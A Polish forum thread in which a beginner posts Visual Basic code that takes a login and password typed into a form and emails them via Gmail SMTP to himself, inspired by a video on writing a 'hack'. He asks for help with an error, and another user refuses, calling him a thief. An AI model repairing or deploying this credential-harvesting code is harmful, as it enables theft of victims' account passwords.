Problem z programem który wysyła dane na emaila

[endryouoxxx]

Witam, nie dawno zaczołem bawić się w VB i chce zrobić taki program który wysyła dane na emaila zawarte. Oto kod:

Imports System
Imports System.Net.Mail
Imports System.Threading
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("TWÓJLOGIN bez @gmail.com)", "HASŁO DO SKRZYNKI")
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("TWÓ[email protected]")
        mail.To.Add("TWÓ[email protected]")
        mail.Subject = ("temat")
        mail.Body = "Login: " + login.Text & Chr(12) + "Hasło: " + haslo.Text
        smtpServer.Send(mail)
    End Sub
End Class

Po zrobieniu jakiegoś designu wyskakuje mi błąd i nie chce mi wysłać tych danych na emaila.

 

 

Program chciałem zrobić dzięki temu filmikowi!

http://komputery.spryciarze.pl/zobacz/jak-napisac-hacka-ktory-wysyla-dane-na-maila

[Gość]

Nie pomagamy złodziejom.